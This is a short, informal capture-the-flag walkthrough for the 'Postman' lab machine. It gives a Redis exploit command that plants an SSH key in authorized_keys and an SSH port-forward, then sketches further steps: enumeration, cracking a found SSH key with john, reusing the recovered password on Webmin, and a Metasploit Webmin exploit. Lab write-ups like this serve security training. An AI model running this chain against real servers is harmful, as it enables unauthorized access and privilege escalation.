

Lin: Postman

upload a file , you can do it manually or use a script i downloaded

<https://github.com/roughiz/Redis-Server-Exploit-Enum>

```
python redis.py -a exploit -r 10.10.10.160 -f ~/.ssh/id_rsa.pub -d /var/lib/redis/.ssh/ -n  
authorized_keys
```

```
ssh -L 6379:localhost:6379 redis@10.10.10.160
```

run linuxEnum

at the bottom you will find a file in /opt/bin with ssh key
crack it with john

get matt password

u can use it to login webmin

use msfconsole on webmin vulnerability --> done
